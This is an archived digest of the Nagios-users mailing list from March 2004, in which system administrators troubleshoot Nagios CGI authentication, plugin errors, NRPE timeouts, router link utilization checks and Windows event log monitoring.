> ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From dmitryc at drumbeatdigital.com Tue Mar 2 18:17:59 2004 From: dmitryc at drumbeatdigital.com (Dmitry Chorine) Date: Tue, 2 Mar 2004 12:17:59 -0500 Subject: permissions Message-ID: <8258814A187BCF49BDEE435A5433B18BD8F299@exchange.drumbeatdigital.com> I'm logging in to the page through Apache authentication, still And also when I loged in it shows Logged in as ? -----Original Message----- From: Marc Powell [mailto:marc at ena.com] Sent: Tuesday, March 02, 2004 12:12 PM To: Dmitry Chorine; nagios-users at lists.sourceforge.net Subject: RE: [Nagios-users] permissions On Tuesday, March 02, 2004 10:54 AM, Dmitry Chorine shared with us: > Hello > > For some reason, whenever I try to access nagios page I get this.. > > > > > It appears as though you do not have permission to view process > information... > > > If you believe this is an error, check the HTTP server authentication > requirements for accessing this CGI and check the authorization > options in your CGI configuration file > > > > I checked all permitions on file, they seem to be fine.. What am I > missing? It probably doesn't have anything to do with the actual file permissions (assuming they're readable by the web server). http://nagios.sourceforge.net/docs/1_0/cgiauth.html -- Marc ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From dfinn at twelvehorses.com Tue Mar 2 18:18:29 2004 From: dfinn at twelvehorses.com (Daniel Finn) Date: Tue, 2 Mar 2004 09:18:29 -0800 (PST) Subject: getting error "Return code of 127...Make sure the plugin you're trying to run actually exists." In-Reply-To: <370ACCFA5BB3B346A31222E5559BF91F03A2CB@mismail2.ena.com> References: <370ACCFA5BB3B346A31222E5559BF91F03A2CB@mismail2.ena.com> Message-ID: I'm getting that for all of the checks, not just the dns check. ping, smtp, http you name it. I finally gave up with the source install and went with the debian packages and it's working now. Still very strange though and very frustrating. Dan Finn Unix System Administrator Twelve Horses North America Cell : 775.233.1774 Desk : 775.337.3336 On Tue, 2 Mar 2004, Marc Powell wrote: > On Monday, March 01, 2004 2:06 PM, Daniel Finn shared with us: > > > Debian Woody testing/unstable 2.4.18-bf2.4 > > > > Software was installed from source using nagios-1.2.tar.gz & > > nagios-plugins-1.3.1.tar.gz. All settings were left to default for > > both installations. > > [snip] > > > from resource.cfg: > > $USER1$=/usr/local/nagios/libexec/ > > > > from checkcommands.cfg: > > # 'check_smtp' command definition > > define command{ > > command_name check_smtp > > command_line $USER1$/check_smtp -H $HOSTADDRESS$ > > } > > > > > > and in my nagios.log file i'm getting the following: > > > > [1078171131] Warning: Return code of 127 for check of service 'DNS' > > on host 'medusa' was out of bounds. Make sure the plugin you're > > trying to run actually exists. [1078171131] HOST NOTIFICATION: > > dfinn;medusa;DOWN;host-notify-by-email;(No > > output!) > > [1078171071] HOST NOTIFICATION: > > dfinn;hercules;DOWN;host-notify-by-email;CRITICAL - Plugin timed out > > after 10 seconds > > > > as you can see here the plugins are installed and seem to work fine > > when run manually: > > > > wolverine:/usr/local/nagios/etc# /usr/local/nagios/libexec/check_smtp > > -H 192.168.0.2 > > SMTP OK - 0 second response time > > That's great for check_smtp, but how about whatever command you have > defined for DNS on medusa, which is what's actually generating the > error? Check_dns has an external dependency on nslookup. It must be > installed and it must be exectuable by the nagios user. > > -- > Marc > > ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From GWCOOK at mactec.com Tue Mar 2 18:36:27 2004 From: GWCOOK at mactec.com (Cook, Garry) Date: Tue, 2 Mar 2004 10:36:27 -0700 Subject: link utilization check [was: Any idea..for this script problem.] Message-ID: <41FD7929498A174DAB86C45F28E0EC0D3EA2AA@golden-m.mactec.com> Yiannis Zimianitis wrote: > Is this a nagios question? > Can Nagios monitor the utilization of a link on a cisco router? Has > anyone done this? Yes, that is a Nagios question. However, you originally posted the same question just a few hours ago, so it's probably not time for a repost yet. > I have looked at many docs but with no success. > Thanks Yiannis I have attempted to monitor the utilization of a link on a Cisco router using the check_rrd shell script plugin written by Christian Lyra. However, this didn't seem to work at the time, I think because I couldn't get check_rrd to differentiate between Inbound and Outbound bandwidth. So, I hacked at the plugin for a while, and then something more important came along. This has recently become a hot topic for me again, so I've begun looking into it just this morning. It appears as though there is another plugin available for checking RRD files, check_rrd_file. This one is a perl script written by Estaban Manchado Velazquez. It can be found in the contrib directory of the latest stable plugin release (1.3.1) as well as the new 1.4.0 alpha plugins. I'm guessing that I should be able to make one of these do what I need it to do, which is to send an alert if inbound or outbound bandwidth crosses a certain threshold. If I'm successful, I'll post to the list. However, please keep in mind that in order to use the check_rrd* method, you'll need to be monitoring the link in question with MRTG (or something similar) and be dumping the SNMP data to RRD files. If there is a way to check link utilization other than with check_rrd*, I'm not aware of it, although I would be interested in hearing about it as well. Garry W. Cook, CCNA Network Infrastructure Manager MACTEC, Inc. - http://www.mactec.com/ 303.308.6228 (Office) - 720.220.1862 (Mobile) ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From GWCOOK at mactec.com Tue Mar 2 18:44:28 2004 From: GWCOOK at mactec.com (Cook, Garry) Date: Tue, 2 Mar 2004 10:44:28 -0700 Subject: link utilization check [was: Any idea..for this script problem.] Message-ID: <41FD7929498A174DAB86C45F28E0EC0D3EA2AB@golden-m.mactec.com> Cook, Garry wrote: > This has recently become a hot topic for me again, so I've > begun looking into it just this morning. It appears as though there is > another plugin available for checking RRD files, > check_rrd_file. This one is a perl script written by Estaban > Manchado Velazquez. It can be found in the contrib directory > of the latest stable plugin release (1.3.1) as well as the > new 1.4.0 alpha plugins. I'm guessing that I > should be able to make one of these do what I need it to do, > which is to send an alert if inbound or outbound bandwidth > crosses a certain > threshold. The perl plugin that I mentioned above is actually called check_rrd_data.pl. Sorry about that. > Garry W. Cook, CCNA > Network Infrastructure Manager > MACTEC, Inc. - http://www.mactec.com/ > 303.308.6228 (Office) - 720.220.1862 (Mobile) ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Tue Mar 2 18:47:28 2004 From: marc at ena.com (Marc Powell) Date: Tue, 2 Mar 2004 11:47:28 -0600 Subject: Loged in as ? Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A2D4@mismail2.ena.com> On Tuesday, March 02, 2004 11:02 AM, Dmitry Chorine shared with us: > Why does it says "Loged in as ?"? > > Even though that I did authenticate when I was login in to that page It means that the CGI's were not able to look at the HTTP environment variable REMOTE_USER either because it wasn't set or it wasn't passed. Did you create a .htaccess file in the nagios _sbin_ directory or in a directory above it, not just in the share directory? Apache will only set the environment variable for URLs it believes should be protected. -- Marc ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From yiannis.zimianitis at sssltd.co.uk Tue Mar 2 18:48:41 2004 From: yiannis.zimianitis at sssltd.co.uk (Yiannis Zimianitis) Date: Tue, 2 Mar 2004 17:48:41 -0000 Subject: link utilization check [was: Any idea..for thi s script problem.] Message-ID: <8A542229726CD711A63600508BB3D3EC201C58@scntxms1.sss> Thanks for that you've been a great help. Yiannis -----Original Message----- From: Cook, Garry [mailto:GWCOOK at mactec.com] Sent: 02 March 2004 17:44 To: Yiannis Zimianitis Cc: nagios-users at lists.sourceforge.net Subject: RE: [Nagios-users] link utilization check [was: Any idea..for this script problem.] Cook, Garry wrote: > This has recently become a hot topic for me again, so I've > begun looking into it just this morning. It appears as though there is > another plugin available for checking RRD files, > check_rrd_file. This one is a perl script written by Estaban > Manchado Velazquez. It can be found in the contrib directory > of the latest stable plugin release (1.3.1) as well as the > new 1.4.0 alpha plugins. I'm guessing that I > should be able to make one of these do what I need it to do, > which is to send an alert if inbound or outbound bandwidth > crosses a certain > threshold. The perl plugin that I mentioned above is actually called check_rrd_data.pl. Sorry about that. > Garry W. Cook, CCNA > Network Infrastructure Manager > MACTEC, Inc. - http://www.mactec.com/ > 303.308.6228 (Office) - 720.220.1862 (Mobile) -------------- next part -------------- An HTML attachment was scrubbed... URL: From bruce.gilbert at tmgus.mosaic.com Tue Mar 2 18:48:41 2004 From: bruce.gilbert at tmgus.mosaic.com (Gilbert, Bruce) Date: Tue, 2 Mar 2004 11:48:41 -0600 Subject: Problems with check_apc_ups.pl Message-ID: <8F60DB2764F7EC498CADADCFBA819DA003F45262@dalexchange.tmgsolutionsinc.com> When running the check_apc_ups.pl plugin it returns the following messages - ./check_apc_ups.pl -H 172.23.0.27 Output status: unknown | Rem time: unknown | Battery status: unknown | Battery temp(C): unknown | Battery repl: unknown | Output load (%): unknown | Diag result: unknown If I run ./check_snmp with the OID for battery temp or output status it returns OK. I've downloaded the APC MIBS, copied them to the appropriate folder, and even tried export MIBS=All. Is there anything else I am missing or any suggestions? Thanks, Bruce Gilbert Senior Network Manager Mosaic Sales Solutions ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From dmitryc at drumbeatdigital.com Tue Mar 2 18:49:53 2004 From: dmitryc at drumbeatdigital.com (Dmitry Chorine) Date: Tue, 2 Mar 2004 12:49:53 -0500 Subject: Loged in as ? Message-ID: <8258814A187BCF49BDEE435A5433B18BD8F29B@exchange.drumbeatdigital.com> Uh huh.. That part I missed;) Thanks it works now -----Original Message----- From: Marc Powell [mailto:marc at ena.com] Sent: Tuesday, March 02, 2004 12:47 PM To: Dmitry Chorine; nagios-users at lists.sourceforge.net Subject: RE: [Nagios-users] Loged in as ? On Tuesday, March 02, 2004 11:02 AM, Dmitry Chorine shared with us: > Why does it says "Loged in as ?"? > > Even though that I did authenticate when I was login in to that page It means that the CGI's were not able to look at the HTTP environment variable REMOTE_USER either because it wasn't set or it wasn't passed. Did you create a .htaccess file in the nagios _sbin_ directory or in a directory above it, not just in the share directory? Apache will only set the environment variable for URLs it believes should be protected. -- Marc ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From alevitt at navis.com Tue Mar 2 18:58:06 2004 From: alevitt at navis.com (Aaron Levitt) Date: Tue, 2 Mar 2004 09:58:06 -0800 Subject: check_nrpe timeout (was no subject) Message-ID: <7473201406D1FE4CBAD4096D6BD1E92108C156@hqexch01.hq.navis.net> Actually, the problem is with nrpe. No matter what I set the timeout to using the -t flag for check_nrpe, it still seems to get a "Service Check Timed Out" after 10 seconds, on occassion. -=Aaron Sorry for the original post with no subject (it was 1 cup of coffee too soon). > -----Original Message----- > From: Spencer L Horn [mailto:shorn at lssi.net] > Sent: Tuesday, March 02, 2004 9:10 AM > To: Aaron Levitt > Cc: nagios-users at lists.sourceforge.net > Subject: Re: [Nagios-users] (no subject) > > Tune the 3 following fields to fit your needs. > > normal_check_interval 15 (check every 15 minutes) > retry_check_interval 15 (if down enters soft down state and > re checks in 15 mins) > max_check_attempts 2 (must fail twice before entering a > hard state) > > Make sense? or did i totally mis-understand your question? > > Spencer > > > On Tue, 2004-03-02 at 11:12, Aaron Levitt wrote: > > Greets everyone- > > > > I posted this once before, but never got a response. After further > > trouble-shooting and looking through the docs, I still don't seem to be > > any closer to a solution. Can someone lend a hand here? > > > > I have the latest version of nagios running with the latest version of > > nrpe. Everything works great with the exception of a couple services > > with the nrpe plugin on some hosts. Occasionally, I am getting time > > outs on specific services. For example usually about once a day, I am > > getting a "Service Check Timed Out" for checking disks on an redhat > > linux box. There doesn't seem to be any problem with the client or the > > server at the time except for the load possibly getting a bit higher > > than normal, it seems to be almost random and there is nothing of any > > value in any of the logs > > > > I looked through the docs for nrpe and nagios and was able to change the > > timeout time, which helped a little. But it still occasionally times > > out. Is there a way to set *no* time out? I'm open to any other > > suggestions. > > > > Thanks in advance! > > > > -=Aaron > > > > > > ------------------------------------------------------- > > SF.Net is sponsored by: Speed Start Your Linux Apps Now. > > Build and deploy apps & Web services for Linux with > > a free DVD software kit from IBM. Click Now! > > http://ads.osdn.com/?ad_id56&alloc_id438&opk > > _______________________________________________ > > Nagios-users mailing list > > Nagios-users at lists.sourceforge.net > > https://lists.sourceforge.net/lists/listinfo/nagios-users > > ::: Please include Nagios version, plugin version (-v) and OS when > reporting any issue. > > ::: Messages without supporting info will risk being sent to /dev/null > ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From joshua.smith at globeshoes.com Tue Mar 2 19:04:32 2004 From: joshua.smith at globeshoes.com (Joshua Smith) Date: Tue, 2 Mar 2004 10:04:32 -0800 Subject: FW: permissions Message-ID: Make sure apache has read access to your htpasswd.users And you have setup user in your cgi.cfg starting at line 122, SYSTEM/PROCESS INFORMATION ACCESS. I had the same problem, but that fixed it. -----Original Message----- From: nagios-users-admin at lists.sourceforge.net [mailto:nagios-users-admin at lists.sourceforge.net] On Behalf Of Dmitry Chorine Sent: Tuesday, March 02, 2004 8:54 AM To: nagios-users at lists.sourceforge.net Subject: [Nagios-users] permissions Hello For some reason, whenever I try to access nagios page I get this.. It appears as though you do not have permission to view process information... If you believe this is an error, check the HTTP server authentication requirements for accessing this CGI and check the authorization options in your CGI configuration file I checked all permitions on file, they seem to be fine.. What am I missing? ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=ick _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From sathyaram.sannasi at hpi.co.uk Tue Mar 2 19:28:38 2004 From: sathyaram.sannasi at hpi.co.uk (Sathyaram Sannasi) Date: Tue, 2 Mar 2004 18:28:38 -0000 Subject: Nagios Client - Mainframes Message-ID: Does Nagios have a client for mainframe (OS390 and ZOS) to report back to a Nagios server sitting on Linux ? Thanks ********************************************************************** This email and any files transmitted with it are confidential and are intended solely for the use of the individual or entity to whom they are addressed. This communication represents the originator's personal views and opinions, which do not necessarily reflect those of HPI Limited. If you are not the original recipient or the person responsible for delivering the email to the intended recipient, be advised that you have received this email in error, and that any use, dissemination, forwarding, printing, or copying of this email is strictly prohibited. If you received this email in error, please immediately notify postmaster at hpi.co.uk. This message has been scanned by Panda Anti-Virus. Recipients are advised to apply their own virus checks to this message on delivery. ********************************************************************** ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From dmitryc at drumbeatdigital.com Tue Mar 2 20:02:23 2004 From: dmitryc at drumbeatdigital.com (Dmitry Chorine) Date: Tue, 2 Mar 2004 14:02:23 -0500 Subject: Host DOWN Message-ID: <8258814A187BCF49BDEE435A5433B18BD8F29C@exchange.drumbeatdigital.com> I get host down of local server where I run nagios from :) So its very weird.. ***** Nagios ***** Notification Type: PROBLEM Host: tama State: DOWN Address: 192.168.3.33 Info: (No output!) Date/Time: Tue Mar 2 13:46:17 EST 2004 ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From gwichman at zantaz.com Tue Mar 2 20:53:23 2004 From: gwichman at zantaz.com (Gerald Wichmann) Date: Tue, 2 Mar 2004 11:53:23 -0800 Subject: Socket Timeout Message-ID: <2A0946C0CB543B4EA5E41C21D97D256E185261@zorg.corp.zantaz.com> I got one server that is flapping.. There is nothing wrong with the server but it goes CRITICAL on all services and then RECOVERY lately.. The only change I'm aware of is up upgraded the kernel to the latest version. If I manually do a check_nrpe I get either an accurate result or a "Socket timeout after 10 seconds.". I tried recompiling the nrpe 2.0 software on this server but that didn't help. Any common causes of this or ideas from anyone? Gerald -------------- next part -------------- An HTML attachment was scrubbed... URL: From RMontemayor at huntoil.com Tue Mar 2 21:04:39 2004 From: RMontemayor at huntoil.com (Rudy Montemayor) Date: Tue, 2 Mar 2004 14:04:39 -0600 Subject: Window event viewer Message-ID: Darren, Thanks for the information. I was able to install the agent on 2 Win systems; however I have some questions and welcome anybody that can help me out. 1) What do this agent do exactly? From what I can tell of the operation, it seems that It looks at the whole log and lets you know how many errors there are and when the last one occurred. Then it may be "EventLog OK" and then back to reporting the errors again. It doesn't keep track of what errors it already reported on; it's basically all or nothing. 2) I asked the Windows folks here about the logs and they mentioned that they just let the log roll-over. So that means that once there is an error the agent will continue to flag that error until that particular entry is rolled-over or one manually clears the log; which is the behavior that I'm seeing now. 3) There also appears to be some problem with "(Service Check Timed Out)" and I do not know why this is happening. Any help with be appreciated. Rudy -----Original Message----- From: nagios-users-admin at lists.sourceforge.net [mailto:nagios-users-admin at lists.sourceforge.net]On Behalf Of Darren Harrison Sent: Sunday, February 15, 2004 2:21 PM To: nagios-users at lists.sourceforge.net Cc: Rudy Montemayor Subject: [Nagios-users] Re: Window event viewer Hi Rudy, I've recently started using check_win_eventlog.pl with good success. You need to install a client on the Windows PC's (much like NSClient) and the only issue I've found is that when the PC reboots (as happens frequently with Windows PCs) the next check_win_eventlog call will return the last errors - just something to get used to... http://naplax.sourceforge.net/check_win_eventlog.html Darren. > Date: Fri, 13 Feb 2004 10:33:18 -0600 > From: "Rudy Montemayor" > To: > Subject: [Nagios-users] Window event viewer > > Folks, > > I was asked by our in house Window support folks if Nagios has something = > that looks at or monitors the log files that the Windows Event Viewer = > can see, specifically the System Log for the Window system. > > I'm currently using NSClient on the Window system but do not know if and = > how I can use it to monitor the System Log for errors, etc. > > If anybody has done this or has some information that they can point to = > I would appreciate it. Thanks. > > Rudy > rmontemayor at huntoil.com _____ This e-mail is confidential and may contain information subject to legal privilege. If you are not the intended recipient please advise us of our error by return e-mail then delete this e-mail and any attached files. You may not copy, disclose or use the contents in any way. The views expressed in this e-mail may not be those of Gallagher Group Ltd or subsidiary companies thereof. _____ -------------- next part -------------- An HTML attachment was scrubbed... URL: From AHKAPLAN at PARTNERS.ORG Tue Mar 2 21:21:25 2004 From: AHKAPLAN at PARTNERS.ORG (Kaplan, Andrew H.) Date: Tue, 2 Mar 2004 15:21:25 -0500 Subject: Error Message: Warning: Nagios process may not be running Message-ID: <5593DA408212D511B0910002A513501F0655921F@phsexch20.mgh.harvard.edu> I installed Nagios 1.2 onto a system and am in the process of testing it out. One problem that I noticed is my being unable to manually run commands, ie: Schedule an immediate check of all services on this host, on any host machine. I checked the cgi.cfg file and made sure the nagios_check_command directive was not commented out. I also checked the nagios.cfg file and the external_command lines were also uncommented. The check_nagios plug-in is in the libexec directory and it does have the proper permissions associated with it. What else is there for me to do? ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From arnoldc at mcmservice.com Tue Mar 2 21:19:17 2004 From: arnoldc at mcmservice.com (Arnold Cano) Date: Tue, 2 Mar 2004 14:19:17 -0600 Subject: oscp_command not running In-Reply-To: <1077827317.29546.85.camel@localhost> References: <200402261107.48176.arnoldc@mcmservice.com> <200402261126.44223.arnoldc@mcmservice.com> <1077827317.29546.85.camel@localhost> Message-ID: <200403021419.17744.arnoldc@mcmservice.com> many thanks to the generous souls that offered advice and help with this problem... i am happy to say i've found and "fixed" the problem in the sake of getting the distributed monitoring up and working as soon as possible. as it turns out, i believe i was trying to be too creative with template inheritance for hosts and services. i had 3 or 4 levels of inheritance and somehow nagios was not keeping all the values. after i simplified my templates to 2 levels everything started to work again. it's not as maintainable now with some duplicate data but at least it works. hope this is helpful for someone else out there... arnold ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Tue Mar 2 21:33:15 2004 From: marc at ena.com (Marc Powell) Date: Tue, 2 Mar 2004 14:33:15 -0600 Subject: Error Message: Warning: Nagios process may not be running Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A2D9@mismail2.ena.com> On Tuesday, March 02, 2004 2:21 PM, Kaplan, Andrew H. shared with us: > I installed Nagios 1.2 onto a system and am in the process of testing > it out. > One problem that I noticed is my being unable to manually run > commands, > ie: Schedule an immediate check of all services on this host, on any > host machine. I checked the cgi.cfg file and made sure the > nagios_check_command directive was not commented out. I also checked > the nagios.cfg file and the external_command lines were also > uncommented. The check_nagios plug-in is in the libexec directory and > it does have the proper permissions associated with it. What else is > there for me to do? Try running the nagios_check command as the user your web server runs as. You can also go to http://your.nagios.machine/cgi-bin/extinfo.cgi?&type=0 (or click 'Process Info' on the left menu) to get a hint about what might be wrong. One thing to be aware of is that if you've installed Nagios such that it uses a DB for host/service status storage the default check_nagios command will not work. You'll need to use check_nagios_db.pl from the plugins contrib. -- Marc ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From kerry.cox at ksl.com Tue Mar 2 21:39:43 2004 From: kerry.cox at ksl.com (Kerry Cox) Date: 02 Mar 2004 13:39:43 -0700 Subject: Nagios 2.0 Documents In-Reply-To: <1078246484.11894.1.camel@elijah> References: <1078246484.11894.1.camel@elijah> Message-ID: <1078259983.14938.86.camel@quasi.ksl.com> Not sure what has been done already in regards to Nagios 2.0 documentation, but I'd like to offer my services. I currently handle some of the documentation for the Icecast Project (http://www.icecast.org/). It is still a work in progress but I hope to have it fully completed soon and so am looking for a new project. You can check it out at http://quasi.ksl.com/icecast/. Everything is in XML format. I use DocBook to convert the data to HTML and PDF. I'd like to suggest migrating the Nagios 2.0 information to XML and going that route, if the developers are interested. Let me know. KJ On Tue, 2004-03-02 at 09:54, Networks wrote: > I don't mean to push (since this is free), but any word on progress for > 2.0 documentation? > > Thanks again. > > > > ------------------------------------------------------- > SF.Net is sponsored by: Speed Start Your Linux Apps Now. > Build and deploy apps & Web services for Linux with > a free DVD software kit from IBM. Click Now! > http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null -- /------------------------------------\__/-------------------------\ | Kerry J. Cox, Ph.D. __ kerry.cox at ksl.com | | KSL System Administrator | | p: 801.575.7771 | | http://quasi.ksl.com/pubkey.html |__| f: 801.575.5745 | \------------------------------------/ \-------------------------/ ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From darrenh at gallagher.co.nz Tue Mar 2 21:47:52 2004 From: darrenh at gallagher.co.nz (Darren Harrison) Date: Wed, 3 Mar 2004 09:47:52 +1300 Subject: Window event viewer In-Reply-To: References: Message-ID: Hi Rudy, The agent seems to keep track of when it last reported the error, so it should only respond to errors that are new since the agent was last called. Unfortunately this gets reset when the computer is restarted. The one thing you are probably looking for is that the service needs to be set to be volatile. Then the error gets reset on the next call. I'm sorry I can't help you with your last issue, I haven't had this happen a lot. Darren. "Rudy Montemayor" wrote on 03/03/2004 09:04:39 a.m.: > Darren, > > Thanks for the information. I was able to install the agent on 2 Win > systems; however I have some questions and welcome anybody that can > help me out. > > > 1) What do this agent do exactly? From what I can tell of the > operation, it seems that It looks at the whole log and lets you know > how many errors there are and when the last one occurred. Then it > may be "EventLog OK" and then back to reporting the errors again. It > doesn't keep track of what errors it already reported on; it's > basically all or nothing. > > 2) I asked the Windows folks here about the logs and they mentioned > that they just let the log roll-over. So that means that once there > is an error the agent will continue to flag that error until that > particular entry is rolled-over or one manually clears the log; > which is the behavior that I'm seeing now. > > 3) There also appears to be some problem with "(Service Check Timed > Out)" and I do not know why this is happening. > > Any help with be appreciated. > > Rudy ########################################################################### This e-mail is confidential and may contain information subject to legal privilege. If you are not the intended recipient please advise us of our error by return e-mail then delete this e-mail and any attached files. You may not copy, disclose or use the contents in any way. The views expressed in this e-mail may not be those of Gallagher Group Ltd or subsidiary companies thereof. ########################################################################### -------------- next part -------------- An HTML attachment was scrubbed... URL: From veros-nagios at tac.cz Tue Mar 2 21:58:01 2004 From: veros-nagios at tac.cz (Veros Kaplan) Date: Tue, 2 Mar 2004 21:58:01 +0100 Subject: Where the nagios store the notification mail? In-Reply-To: <00c401c40054$fff6e540$2605020a@bjeyri> References: <00c401c40054$fff6e540$2605020a@bjeyri> Message-ID: <20040302205801.GG1230@tac.cz> Jeyri bautista wrote/napsal: : Hi, the nagios pc hanged the day before yesterday, and when : I restarted it, a lot of old notification mails arrived to my inbox. : I 